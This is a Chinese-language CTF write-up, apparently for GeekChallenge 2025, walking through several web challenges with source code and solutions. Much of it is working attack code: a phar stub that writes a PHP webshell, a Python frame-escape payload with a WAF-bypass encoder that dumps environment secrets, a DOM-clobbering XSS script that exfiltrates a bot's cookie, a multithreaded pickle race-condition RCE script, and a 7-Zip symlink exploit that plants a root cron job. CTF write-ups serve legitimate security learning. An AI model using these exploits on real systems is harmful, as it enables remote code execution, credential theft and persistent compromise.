if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);
$files = array_diff(scandir($SANDBOX), ['.', '..']);
$result = '';
if (isset($_GET['f'])) {
$filename = basename($_GET['f']);
$fullpath = $SANDBOX . '/' . $filename;
if (file_exists($fullpath) && preg_match('/\.(zip|bz2|gz|xz|7z)$/i', $filename)) {
ob_start();
@include($fullpath);
$result = ob_get_clean();
} else {
$result = "文件不存在或非法类型。";
}
}
?><?php
// upload.php(美化版)
// 说明:已修复前端 JS 的语法错误并增强上传完成后的 UI 行为
session_start();
error_reporting(0);
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x-bzip2',
'application/gzip',
'application/x-gzip',
'application/x-xz',
'application/x-7z-compressed',
];
$BLOCK_LIST = [
"__HALT_COMPILER()",
"PK",
"<?",
"<?php",
"phar://",
"php",
"?>"
];
function content_filter($tmpfile, $block_list) {
$fh = fopen($tmpfile, "rb");
if (!$fh) return true;
$head = fread($fh, 4096);
fseek($fh, -4096, SEEK_END);
$tail = fread($fh, 4096);
fclose($fh);
$sample = $head . $tail;
$lower = strtolower($sample);
foreach ($block_list as $pat) {
if (stripos($sample, $pat) !== false) {
// 为避免泄露过多信息,这里不直接 echo sample(你之前有 echo,保持注释)
return false;
}
if (stripos($lower, strtolower($pat)) !== false) {
return false;
}
}
return true;
}
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = bin2hex(random_bytes(4));
}
$salt = 'GeekChallenge_2025';
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_FILES['file'])) {
http_response_code(400);
die("No file.");
}
$tmp = $_FILES['file']['tmp_name'];
$orig = basename($_FILES['file']['name']);
if (!is_uploaded_file($tmp)) {
http_response_code(400);
die("Upload error.");
}
$ext = strtolower(pathinfo($orig, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
http_response_code(400);
die("Bad extension.");
}
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $tmp);
finfo_close($finfo);
if (!in_array($mime, $allowed_mime_types)) {
http_response_code(400);
die("Bad mime.");
}
if (!content_filter($tmp, $BLOCK_LIST)) {
http_response_code(400);
die("Content blocked.");
}
$newname = time() . "_" . preg_replace('/[^A-Za-z0-9._-]/', '_', $orig);
$dest = $SANDBOX . '/' . $newname;
if (!move_uploaded_file($tmp, $dest)) {
http_response_code(500);
die("Move failed.");
}
echo "UPLOAD_OK:" . htmlspecialchars($newname, ENT_QUOTES);
exit;
}
?>
一眼include触发phar恶意文件,秒了
<?php
$phar = new Phar('exp.phar');
$phar->compressFiles(Phar::GZ);
$phar->startBuffering();
$stub = <<<'STUB'
<?php
$filename="/var/www/html/2.php";
$content="<?php eval(\$_POST[1]);?>";
file_put_contents($filename, $content);
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
$fp = gzopen("exp.phar.gz", 'w9'); #压缩为gz绕过过滤
gzwrite($fp, file_get_contents("exp.phar"));
gzclose($fp);
?>

百年继承
考点:原型链污染
所知的信息有
上校已创建。
上校继承于他的父亲,他的父亲继承于人类
时间流逝:卷入武装起义:命运与战争交织。
时间流逝:抉择时刻:上校需要做出选择(武器与策略)。
事件:上校使用 spear,采取 ambush 策略。世界线变动...
(上校的weapon属性被赋值为spear,tactic属性被赋值为ambush)
时间流逝:宿命延续:行军与退却。
时间流逝:面对行刑队:命运的审判即将到来。
行刑队:开始执行判决。
行刑队也继承于人类
临死之前,上校目光瞄着行刑队的佩剑,上面分明写着:
lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')
这是人类自古以来就拥有的execute_method属性...
处决成功
时间流逝:结局:命运如沙漏般倾泻……继承关系如下
class Human():
class Father(Human):
class ExecutionSquad(Human):
class Colonel(Father):从执行函数lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')最后返回处决成功,猜测可能返回第三个元素的值,所以在第三个元素位置执行命令{
"__class__": {
"__base__": {
"__base__": {
"execute_method": "lambda executor, target: (1, 1, __import__('os').getenv('FLAG'))"
}
}
}
}后面拿到源码重要的是这
method = getattr(self, "execute_method", None)
result = eval(method)(executor=self, target=target)[2]#实际上是一个字符串,然后被eval转化成的lambda匿名函数西纳普斯的许愿碑
考点:栈帧逃逸+条件竞争
from flask import Flask, render_template, send_from_directory, jsonify, request
import json
import threading
import time
app = Flask(__name__, template_folder='template', static_folder='static')
with open("asset/txt/wishes.json", 'r', encoding='utf-8') as f:
wishes = json.load(f)['wishes']
wishes_lock = threading.Lock()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/assets/<path:filename>')
def assets(filename):
return send_from_directory('asset', filename)
@app.route('/api/wishes', methods=['GET', 'POST'])
def wishes_endpoint():
from wish_stone import evaluate_wish_text
if request.method == 'GET':
with wishes_lock:
evaluated = [evaluate_wish_text(w) for w in wishes]
return jsonify({'wishes': evaluated})
data = request.get_json(silent=True) or {}
text = data.get('wish', '')
if isinstance(text, str) and text.strip():
with wishes_lock:
wishes.append(text.strip())
return jsonify({'ok': True}), 201
return jsonify({'ok': False, 'error': 'empty wish'}), 400
def _cleanup_task():
while True:
with wishes_lock:
if len(wishes) > 6:
del wishes[6:]
time.sleep(0.5)
if __name__ == '__main__':
threading.Thread(target=_cleanup_task, daemon=True).start()
app.run(host='0.0.0.0', port=8080, debug=False, use_reloader=False)
import multiprocessing
import sys
import io
import ast
class Wish_stone(ast.NodeVisitor):
forbidden_wishes = {
"__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
"__globals__", "__code__", "__closure__", "__func__", "__self__",
"__module__", "__import__", "__builtins__", "__base__"
}
def visit_Attribute(self, node):
if isinstance(node.attr, str) and node.attr in self.forbidden_wishes:
raise ValueError
self.generic_visit(node)
def visit_GeneratorExp(self, node):
raise ValueError
SAFE_WISHES = {
"print": print,
"filter": filter,
"list": list,
"len": len,
"addaudithook": sys.addaudithook,
"Exception": Exception,
}
def wish_granter(code, result_queue):
safe_globals = {"__builtins__": SAFE_WISHES}
sys.stdout = io.StringIO()
sys.stderr = io.StringIO()
try:
exec(code, safe_globals)
output = sys.stdout.getvalue()
error = sys.stderr.getvalue()
if error:
result_queue.put(("err", error))
else:
result_queue.put(("ok", output))
except Exception:
import traceback
result_queue.put(("err", traceback.format_exc()))
def safe_grant(wish: str, timeout=3):
wish = wish.encode().decode('unicode_escape')
try:
parse_wish = ast.parse(wish)
Wish_stone().visit(parse_wish)
except Exception as e:
return f"Error: bad wish ({e.__class__.__name__})"
result_queue = multiprocessing.Queue()
p = multiprocessing.Process(target=wish_granter, args=(wish, result_queue))
p.start()
p.join(timeout=timeout)
if p.is_alive():
p.terminate()
return "You wish is too long."
try:
status, output = result_queue.get_nowait()
print(output)
return output if status == "ok" else f"Error grant: {output}"
except:
return "Your wish for nothing."
CODE = '''
def wish_checker(event,args):
allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
if not list(filter(lambda x: event == x, allowed_events)):
raise Exception
if len(args) > 0:
raise Exception
addaudithook(wish_checker)
print("{}")
'''
badchars = "\"'|&`+-*/()[]{}_ .".replace(" ", "")
def evaluate_wish_text(text: str) -> str:
for ch in badchars:
if ch in text:
print(f"ch={ch}")
return f"Error:waf {ch}"
out = safe_grant(CODE.format(text))
return out一眼栈帧逃逸,gemini可以秒,跟着它的思路学一下
1.");闭合原本的 print(" 字符串和函数调用,结束上一条语句,开始执行我们的恶意代码。#注释后面的}")
2.利用 Python 变量查找顺序 (LEGB) 覆盖全局变量,欺骗 wish_checker
filter=lambda *x:[1]:覆盖全局 filter。让它永远返回 [1] (真值)。审计器会认为所有操作都在白名单内。
len=lambda x:0:覆盖全局 len。让它永远返回 0。审计器会认为所有操作都没有带参数
3.栈帧逃逸:利用异常回溯机制获得栈帧执行命令");
filter=lambda *x:[1]
len=lambda x:0
try:
raise Exception
except Exception as e:
# 栈帧逃逸 -> sys -> os -> environ
print(e.__traceback__.tb_frame.f_back.f_globals['sys'].modules['os'].environ)
#import json
# 1. 这里填入你的原始 Python 攻击代码
# 注意:Python 对缩进非常敏感,
# 为了防止 SyntaxError,try 和 except 内部的代码前面必须保留一个空格!
raw_payload = ''');
filter=lambda *x:[1]
len=lambda x:0
try:
raise Exception
except Exception as e:
print(e.__traceback__.tb_frame.f_back.f_globals['sys'].modules['os'].environ)
#'''
# 2. 核心转换逻辑:WAF 绕过编码器
# 遍历字符串中的每一个字符,将其转换为 \uXXXX 格式
encoded_payload = ""
for char in raw_payload:
# ord(char) 获取字符的 Unicode 数值
# {:04x} 将数值格式化为 4 位十六进制 (例如: 65 -> 0041)
encoded_payload += "\\u{:04x}".format(ord(char))
# 3. 构造 JSON 对象
output_json = {
"wish": encoded_payload
}
# 4. 打印最终结果
print("-" * 20 + " 生成的 Payload " + "-" * 20)
# ensure_ascii=True 会确保输出的是 ASCII 字符,斜杠会被自动处理好
print(json.dumps(output_json, indent=4))
print("-" * 60){
"wish": "\\u0022\\u0029\\u003b\\u000a\\u0066\\u0069\\u006c\\u0074\\u0065\\u0072\\u003d\\u006c\\u0061\\u006d\\u0062\\u0064\\u0061\\u0020\\u002a\\u0078\\u003a\\u005b\\u0031\\u005d\\u000a\\u006c\\u0065\\u006e\\u003d\\u006c\\u0061\\u006d\\u0062\\u0064\\u0061\\u0020\\u0078\\u003a\\u0030\\u000a\\u0074\\u0072\\u0079\\u003a\\u000a\\u0020\\u0072\\u0061\\u0069\\u0073\\u0065\\u0020\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u000a\\u0065\\u0078\\u0063\\u0065\\u0070\\u0074\\u0020\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0020\\u0061\\u0073\\u0020\\u0065\\u003a\\u000a\\u0020\\u0070\\u0072\\u0069\\u006e\\u0074\\u0028\\u0065\\u002e\\u005f\\u005f\\u0074\\u0072\\u0061\\u0063\\u0065\\u0062\\u0061\\u0063\\u006b\\u005f\\u005f\\u002e\\u0074\\u0062\\u005f\\u0066\\u0072\\u0061\\u006d\\u0065\\u002e\\u0066\\u005f\\u0062\\u0061\\u0063\\u006b\\u002e\\u0066\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005b\\u0027\\u0073\\u0079\\u0073\\u0027\\u005d\\u002e\\u006d\\u006f\\u0064\\u0075\\u006c\\u0065\\u0073\\u005b\\u0027\\u006f\\u0073\\u0027\\u005d\\u002e\\u0065\\u006e\\u0076\\u0069\\u0072\\u006f\\u006e\\u0029\\u000a\\u0023"
}
gemini分析能力太强了,这种白盒给他就是送分
Xross The Doom
考点:xss之DOM(利用DOMPurify 的配置缺陷与未定义的 window. x全局变量)
这题直接给gemini秒了
先看关键代码
admin.js
(() => {
const id = location.pathname.split('/').pop();
const contentEl = document.getElementById('content');
const metaEl = document.getElementById('meta');
fetch(`/api/posts/${id}`).then(r => r.json()).then(({ post }) => {
metaEl.textContent = `创建时间:${new Date(post.createdAt).toLocaleString()}`;
const safe = DOMPurify.sanitize(post.content);
contentEl.innerHTML = safe;
function asBool(v) {
return v === true || (v && typeof v === 'object' && 'value' in v ? v.value === 'true' : !!v);
}
function asPath(v) {
if (typeof v === 'string') return v;
if (v && typeof v.getAttribute === 'function' && v.getAttribute('action')) {
return v.getAttribute('action');
}
if (v && v.action) return v.action;
return '';
}
const auto = asBool(window.AUTO_SHARE);
const path = asPath(window.CONFIG_PATH);
const includeCookie = asBool(window.CONFIG_COOKIE_DEBUG);
function buildTarget(base, sub) {
const parts = (base + '/' + (sub || '')).split('/');
const stack = [];
for (const seg of parts) {
if (seg === '..') {
if (stack.length) stack.pop();
} else if (seg && seg !== '.') {
stack.push(seg);
}
}
return '/' + stack.join('/');
}
if (auto) {
const target = buildTarget('/analytics', path);
const qs = new URLSearchParams({ id, ua: navigator.userAgent });
if (includeCookie) {
qs.set('c', document.cookie);
}
fetch(target + '?' + qs.toString()).catch(() => {});
}
}).catch(() => {
contentEl.textContent = '未找到内容';
});
})();app.js
(() => {
const listEl = document.getElementById('list');
const form = document.getElementById('new-post-form');
const resultEl = document.getElementById('create-result');
async function loadList() {
const { posts } = await (await fetch('/api/posts')).json();
listEl.innerHTML = '';
for (const p of posts.slice().reverse()) {
const card = document.createElement('div');
card.className = 'card';
const title = document.createElement('div');
title.className = 'card-title';
title.textContent = p.title;
const actions = document.createElement('div');
actions.className = 'actions';
actions.innerHTML = `
<a href="/post/${p.id}">查看</a>
<a href="/admin/review/${p.id}">审核</a>
`;
card.appendChild(title);
card.appendChild(preview);
card.appendChild(actions);
listEl.appendChild(card);
}
}
form.addEventListener('submit', async (e) => {
e.preventDefault();
const title = document.getElementById('title').value.trim();
const content = document.getElementById('content').value;
const res = await fetch('/api/posts', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ title, content })
});
const data = await res.json();
if (data.ok) {
resultEl.textContent = "发布成功!";
await loadList();
form.reset();
} else {
resultEl.textContent = "发布失败";
}
});
loadList().catch(() => {
listEl.textContent = '加载失败';
});
})();bot.js
const puppeteer = require('puppeteer');
async function main() {
const targetUrl = process.argv[2] || process.env.TARGET_URL;
const FLAG = process.env.FLAG || 'flag{test}';
if (!targetUrl) {
process.exit(1);
}
const url = new URL(targetUrl);
const browser = await puppeteer.launch({
headless: 'new',
pipe: true,
executablePath: '/usr/bin/chromium-browser',
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
'--disable-dev-shm-usage',
'--disable-gpu',
'--disable-software-rasterizer',
'--disable-extensions',
'--disable-translate',
'--disable-features=TranslateUI',
'--disable-features=site-per-process',
'--disable-background-networking',
'--disable-default-apps',
'--disable-sync',
'--disable-hang-monitor',
'--disable-breakpad',
'--disable-logging',
'--disable-vulkan',
'--disable-accelerated-2d-canvas',
'--disable-accelerated-video-decode',
'--mute-audio',
'--no-zygote',
'--disable-dbus',
]
});
const page = await browser.newPage();
await page.setCookie({
name: 'FLAG',
value: FLAG,
url: url.origin + '/admin',
path: '/admin',
httpOnly: false,
sameSite: 'Lax'
});
console.log(`[BOT] Visiting: ${targetUrl}`);
await page.goto(targetUrl, { waitUntil: 'networkidle0' });
await new Promise(r => setTimeout(r, 1500));
await browser.close();
}
main().catch(err => {
console.error('[BOT] Error:', err);
process.exit(1);
});server.js
const express = require('express');
const path = require('path');
const cookieParser = require('cookie-parser');
const { nanoid } = require('nanoid');
const { spawn } = require('child_process');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const app = express();
const PORT = process.env.PORT || 3000;
const FLAG = process.env.FLAG || 'flag{test}';
const posts = [];
const logs = [];
app.use(express.urlencoded({ extended: false }));
app.use(express.json());
app.use(cookieParser());
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use('/vendor', express.static(path.join(__dirname, 'node_modules', 'dompurify', 'dist')));
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
app.get('/post/:id', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'post.html'));
});
app.get('/admin/review/:id', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'admin.html'));
});
app.get('/log', (req, res) => {
const c = req.query.c || '';
const ua = req.headers['user-agent'] || '';
logs.push({
time: new Date().toISOString(),
cookie: c,
ua
});
res.json({ ok: true });
});
app.get('/logs', (req, res) => {
res.json({ logs });
});
app.get('/bot', async (req, res) => {
try {
const serverOrigin = `http://127.0.0.1:${PORT}`;
let { id } = req.query || {};
if (typeof id !== 'string' || id.trim() === '') {
return res.status(400).json({ error: 'Missing id' });
}
id = id.trim();
if (!/^[A-Za-z0-9_-]{1,64}$/.test(id)) {
return res.status(400).json({ error: 'Invalid id format' });
}
const exists = posts.some(p => p.id === id);
if (!exists) {
return res.status(404).json({ error: 'Post not found' });
}
const safeId = encodeURIComponent(id);
const targetUrl = `${serverOrigin}/admin/review/${safeId}`;
res.json({ ok: true, target: targetUrl, message: 'queued' });
const botPath = path.join(__dirname, 'bot.js');
const child = spawn(process.execPath, [botPath, targetUrl], {
env: { ...process.env, FLAG: FLAG },
stdio: ['ignore', 'inherit', 'inherit']
});
child.on('error', (err) => {
console.error('[BOT] failed to start:', err.message);
});
child.on('exit', (code) => {
if (code === 0) {
console.log('[BOT] visited:', targetUrl);
} else {
console.warn('[BOT] bot.js exited with code', code);
}
});
} catch (err) {
console.error('[BOT] internal error:', err);
res.status(500).json({ error: 'Internal error' });
}
});
app.get('/api/posts', (req, res) => {
res.json({ posts });
});
app.get('/api/posts/:id', (req, res) => {
const id = req.params.id;
const post = posts.find(p => p.id === id);
if (!post) return res.status(404).json({ error: 'Not found' });
res.json({ post });
});
app.post('/api/posts', (req, res) => {
const { title, content } = req.body;
if (!title || !content) return res.status(400).json({ error: 'Missing title or content' });
const id = nanoid(8);
const sanitized = DOMPurify.sanitize(String(content));
const post = { id, title: String(title), content: sanitized, createdAt: Date.now() };
posts.push(post);
res.json({ ok: true, id });
});
app.listen(PORT, () => {
console.log(`Server listening on http://localhost:${PORT}`);
});这里在bot的cookie里面,所以就是要想办法拿bot的cookie,首先重点看admin.js中有个POST /api/posts: 用户提交文章,其使用了 DOMPurify.sanitize(content) 对用户输入进行了过滤
DOMPurify 默认会过滤掉 <script> 等执行代码的标签以防止 XSS,但默认允许 <a id="...">、<form id="..."> 等 HTML 结构标签。这就为 DOM Clobbering 留下了口子。然后看此代码
function asBool(v) {
return v === true || (v && typeof v === 'object' && 'value' in v ? v.value === 'true' : !!v);
}
function asPath(v) {
if (typeof v === 'string') return v;
if (v && typeof v.getAttribute === 'function' && v.getAttribute('action')) {
return v.getAttribute('action');
}
if (v && v.action) return v.action;
return '';
}
const auto = asBool(window.AUTO_SHARE);
const path = asPath(window.CONFIG_PATH);
const includeCookie = asBool(window.CONFIG_COOKIE_DEBUG);asBool 函数:
逻辑:只要值存在且不是 false 字符串,通常返回 true。
如果传入一个 DOM 元素(对象),!!v 为 true。
asPath 函数:
逻辑:如果传入的是对象,它会尝试获取 action 属性。
HTML 中 <form> 标签天然拥有 action 属性。window.VARIABLE 的来源:在 JavaScript 中,如果通过 var 或 const 没有定义某个变量,但 HTML 中存在 id="VARIABLE" 的元素,那么 window.VARIABLE 就会指向这个 DOM 元素(这叫 DOM 属性挂载)。也就是说题目里auto,path,includeCookie都是可控所以要让 window.AUTO_SHARE,window.CONFIG_COOKIE_DEBUG 存在,并控制 path 并进行路径穿越,继续分析
function buildTarget(base, sub) {
const parts = (base + '/' + (sub || '')).split('/');
const stack = [];
for (const seg of parts) {
if (seg === '..') {
if (stack.length) stack.pop();
} else if (seg && seg !== '.') {
stack.push(seg);
}
}
return '/' + stack.join('/');
}
if (auto) {
const target = buildTarget('/analytics', path);
const qs = new URLSearchParams({ id, ua: navigator.userAgent });
if (includeCookie) {
qs.set('c', document.cookie);
}
fetch(target + '?' + qs.toString()).catch(() => {});//这里最后也就是发到log路由了
}代码中的 buildTarget 函数大致逻辑是拼接路径: '/analytics' + '/' + path
如果我们注入的 path 是 ../../log,拼接结果为: /analytics/../../log
浏览器或 fetch 处理这个相对路径时,会解析为: /log
这样,请求就从原本无效的 /analytics 转移到了能够记录数据的 /log 接口。继续分析
然后bot.js中执行访问动作-await page.goto(targetUrl, { waitUntil: 'networkidle0' });,
但它是被 app.js 里的 /bot 路由调用的。
const child = spawn(process.execPath, [botPath, targetUrl], {
env: { ...process.env, FLAG: FLAG }, // 把 Flag 注入环境变量传给 bot
stdio: ['ignore', 'inherit', 'inherit']
});看bot路由,只要我们攻击者向 GET /bot?id=ABCD 发送请求。服务端启动 puppeteer Bot。Bot 设置好带有 Flag 的 Cookie。Bot 访问 http://localhost:3000/admin/review/ABCD。然后就会admin.js执行,flag放到了参数c中,/log中参数c的值保存在logs。然后访问logs就行了
exp如下
import requests, time
# 目标 URL
url = "http://3000-17707093-12f1-4042-b6c3-ea8d4604eb39.challenge.ctfplus.cn"
payload = '<a id="AUTO_SHARE"></a><a id="CONFIG_COOKIE_DEBUG"></a><form id="CONFIG_PATH" action="../../log"></form>'
# 1. 发帖并获取 ID
pid = requests.post(f"{url}/api/posts", json={"title": "x", "content": payload}).json()['id']
# 2. 触发 Bot
requests.get(f"{url}/bot", params={"id": pid})
# 3. 等待并取回 Flag
time.sleep(4)
logs = requests.get(f"{url}/logs").json()['logs']
print(logs)AISCREAM
考点:条件竞争
import io
import pickletools
class AuditResult:
def __init__(self, ok: bool, reasons: list[str], summary: str):
self.ok = ok
self.reasons = reasons
self.summary = summary
def audit(data: bytes) -> AuditResult:
reasons: list[str] = []
dangerous_ops = {
"GLOBAL",
"STACK_GLOBAL",
"REDUCE",
"INST",
"OBJ",
"NEWOBJ",
"NEWOBJ_EX",
"BUILD",
"EXT1",
"EXT2",
"EXT4",
"PERSID",
"BINPERSID",
"SETSTATE",
}
safe_opcodes = {
"PROTO", "FRAME", "STOP",
"MARK", "POP", "POP_MARK", "DUP",
"PUT", "BINPUT", "LONG_BINPUT", "GET", "BINGET", "LONG_BINGET", "MEMOIZE",
"NONE", "NEWTRUE", "NEWFALSE",
"BININT", "BININT1", "BININT2", "INT",
"LONG", "LONG1", "LONG4",
"BINFLOAT", "FLOAT",
"BINUNICODE", "SHORT_BINUNICODE", "UNICODE", "BINUNICODE8",
"BINBYTES", "SHORT_BINBYTES", "BINBYTES8", "BYTEARRAY8",
"BINSTRING", "SHORT_BINSTRING", "STRING",
"EMPTY_TUPLE", "TUPLE", "TUPLE1", "TUPLE2", "TUPLE3",
"EMPTY_LIST", "LIST", "APPEND", "APPENDS",
"EMPTY_DICT", "DICT", "SETITEM", "SETITEMS",
"EMPTY_SET", "FROZENSET", "ADDITEMS",
"NEXT_BUFFER", "READONLY_BUFFER",
"EMPTY_FROZENSET",
}
try:
for opcode, arg, pos in pickletools.genops(data):
name = opcode.name
if name in dangerous_ops:
reasons.append(f"Dangerous opcode: {name}")
continue
if name not in safe_opcodes:
reasons.append(f"Disallowed opcode: {name}")
except Exception as e:
return AuditResult(False, [f"disassembly error: {e}"], "Failed to parse pickle")
ok = len(reasons) == 0
summary = "Audit passed" if ok else "Audit failed"
return AuditResult(ok, reasons, summary)import os
import uuid
import sqlite3
import secrets
import pickle
from flask import Flask, request, render_template, redirect, url_for, session, jsonify, flash
from .security import audit
from .ai_models import BaseModel
from . import ensure_dirs
BASE_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), ".."))
DB_PATH = os.path.join(BASE_DIR, "storage", "app.db")
MODEL_DIR = os.path.join(BASE_DIR, "storage", "models")
def get_db():
conn = sqlite3.connect(DB_PATH)
conn.row_factory = sqlite3.Row
return conn
def init_db():
ensure_dirs()
conn = get_db()
cur = conn.cursor()
cur.execute(
"""
CREATE TABLE IF NOT EXISTS users (
uid TEXT PRIMARY KEY,
model_path TEXT,
model_meta TEXT,
created_at INTEGER,
audit_ok INTEGER DEFAULT 0
)
"""
)
try:
cur.execute("ALTER TABLE users ADD COLUMN audit_ok INTEGER DEFAULT 0")
except Exception:
pass
conn.commit()
conn.close()
_pkg_dir = os.path.dirname(__file__)
_tpl_dir = os.path.join(_pkg_dir, "..", "templates")
_static_dir = os.path.join(_pkg_dir, "..", "static")
app = Flask(__name__, template_folder=_tpl_dir, static_folder=_static_dir)
app.config["MAX_CONTENT_LENGTH"] = 512 * 1024
app.config["SECRET_KEY"] = os.environ.get("SECRET_KEY", secrets.token_hex(16))
init_db()
@app.before_request
def assign_uid():
if "uid" not in session:
session["uid"] = uuid.uuid4().hex
@app.route("/")
def index():
uid = session["uid"]
conn = get_db()
row = conn.execute("SELECT * FROM users WHERE uid=?", (uid,)).fetchone()
conn.close()
return render_template("index.html", user=row)
@app.route("/model/upload", methods=["POST"])
def upload_model():
uid = session["uid"]
data = None
src = None
f = request.files.get("model_file")
if f and f.filename:
src = f.filename
data = f.read()
if not data:
flash("No data provided", "error")
return redirect(url_for("index"))
path = os.path.join(MODEL_DIR, f"{uid}.pkl")
with open(path, "wb") as fp:
fp.write(data)
audit_result = audit(data)
meta = {
"len": len(data),
"source": src,
"audit": audit_result.summary,
}
conn = get_db()
conn.execute(
"INSERT INTO users(uid, model_path, model_meta, created_at, audit_ok) VALUES(?,?,?,?,?)"
" ON CONFLICT(uid) DO UPDATE SET model_path=excluded.model_path, model_meta=excluded.model_meta, audit_ok=excluded.audit_ok",
(uid, path, str(meta), int(__import__("time").time()), 1 if audit_result.ok else 0),
)
conn.commit()
conn.close()
if audit_result.ok:
flash("Model uploaded and passed audit.", "success")
else:
flash(f"Audit failed: {'; '.join(audit_result.reasons)}", "error")
return redirect(url_for("index"))
@app.route("/model/predict")
def predict():
uid = session["uid"]
text = request.args.get("text", "")
conn = get_db()
row = conn.execute("SELECT model_path, audit_ok FROM users WHERE uid=?", (uid,)).fetchone()
conn.close()
if not row:
return jsonify({"error": "no model uploaded"}), 400
path = row[0]
audit_ok = int(row[1] or 0)
if not audit_ok:
return jsonify({"error": "model failed audit"}), 400
with open(path, "rb") as fp:
data = fp.read()
try:
model = pickle.loads(data)
except Exception as e:
return jsonify({"error": f"failed to load model: {e}"}), 400
if not isinstance(model, BaseModel):
return jsonify({"error": "invalid model type"}), 400
try:
result = model.predict(text)
except Exception as e:
return jsonify({"error": f"prediction failed: {e}"}), 500
return jsonify({"ok": True, "result": result})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000, debug=False)这里漏洞是
# 漏洞代码精简版
def upload_model():
# ...
# [步骤 1] 先写文件!
# 无论文件好坏,直接覆盖写入磁盘 storage/models/{uid}.pkl
with open(path, "wb") as fp:
fp.write(data)
# [步骤 2] 再做检查 (Audit)
# 对刚才上传的数据进行安全扫描
audit_result = audit(data)
# [步骤 3] 最后更新状态 (DB)
# 根据检查结果,去数据库标记 audit_ok 是 1 还是 0
conn.execute("UPDATE users SET audit_ok=?", (1 if audit_result.ok else 0,))这里存在条件竞争绕过waf
线程 A(上传合法文件):上传一个合法的 Pickle 文件。它会通过审计,并将数据库状态 audit_ok 设为 1。
线程 B(上传恶意文件):上传一个恶意的 Pickle 文件(包含 RCE)。它会覆盖磁盘上的同一个文件,但稍后会让数据库 audit_ok 变为 0。
线程 C(触发 RCE):疯狂访问 /model/predict。
在 线程 A 将数据库设为 1 之后,且 线程 B 将数据库设为 0 之前(或者线程 B 刚覆盖文件但还没来得及更新数据库),如果我们访问了 predict就可以rceimport requests, threading, time, os
# === 配置 ===
URL = "http://8000-5c9d2b59-b605-4338-82a4-a25ba61b1581.challenge.ctfplus.cn"
CMD = "env > static/1.txt" # 必杀组合拳
# === 1. 生成 Payload (一行搞定) ===
open("valid.pkl", "wb").write(b"I1\n.")
open("exploit.pkl", "wb").write(b"cos\nsystem\n(S'" + CMD.encode() + b"'\ntR.")
# === 2. 攻击逻辑 ===
s = requests.Session()
s.get(URL) # 获取 Session (UID)
print(f"[*] 攻击开始... UID: {s.cookies.get_dict()}")
def upload(file_type):
while True:
try: # 这里的 filename 随便填,重要的是 session 里的 uid
s.post(f"{URL}/model/upload", files={"model_file": ("a.pkl", open(f"{file_type}.pkl", "rb"))}, timeout=1)
except: pass
time.sleep(0.01)
def trigger():
while True:
try:
s.get(f"{URL}/model/predict?text=t", timeout=1)
# 检查结果
res = requests.get(f"{URL}/static/1.txt", timeout=1).text
if len(res) > 20: # 如果有内容
print(f"\n[!] 成功拿到了! 结果如下:\n{'='*30}\n{res}\n{'='*30}"); os._exit(0)
except: pass
# === 3. 多线程启动 (火力全开) ===
# 5个线程传正常文件,5个线程传恶意文件,5个线程触发
for _ in range(5): threading.Thread(target=upload, args=("valid",)).start()
for _ in range(5): threading.Thread(target=upload, args=("exploit",)).start()
for _ in range(5): threading.Thread(target=trigger).start()
while True: time.sleep(1)77777_time_Task
考点:CVE-2025-55188+定时任务
import os
from flask import Flask, jsonify, request
import subprocess
app = Flask(__name__)
UPLOAD_DIR="./uploads"
os.makedirs(UPLOAD_DIR, exist_ok=True)
@app.route("/", methods=["GET"])
def index():
return "Hello World"
@app.route("/upload", methods=["POST"])
def upload():
if 'file' not in request.files:
return jsonify({"status": "error", "message": "No file part"}), 400
file = request.files['file']
if file.filename == '':
return jsonify({"status": "error", "message": "No selected file"}), 400
sanitizeFilename=file.filename.replace("..", "").replace("/","")
ext=sanitizeFilename.split(".")[-1]
if ext != "7z":
return jsonify({"status": "error", "message": "Only .7z files are allowed"}), 400
filepath = os.path.join(UPLOAD_DIR, file.filename)
file.save(filepath)
ret=subprocess.run(["/tmp/7zz", "x", filepath],shell=False,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
if ret.returncode != 0:
return jsonify({"status": "error", "message": "Failed to extract .7z file", "detail": ret.stderr.decode()}), 500
return jsonify({"status": "success", "filename": file.filename})
@app.route("/listfiles", methods=["GET"])
def list_files():
dir=request.args.get("dir", "./uploads")
files = os.listdir(dir)
return jsonify({"files": files})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000, debug=False)
kali创建一个1.sh脚本,写入
#!/bin/bash
#
# Writes to ../file.txt on extraction.
#
# Works on Linux only.
#
olddir="$(pwd)"
tempdir="$(mktemp -d)"
cd "$tempdir"
mkdir -p a/b
ln -s /a a/b/linker
7z a 2.7z a/b/linker -snl
ln -s a/b/linker/../../etc/cron.d/ linker
7z a 2.7z linker -snl
rm linker
mkdir linker
echo "* * * * * root mkdir /app/uploads/\`cat /flag\`" > linker/task
7z a 2.7z linker/task
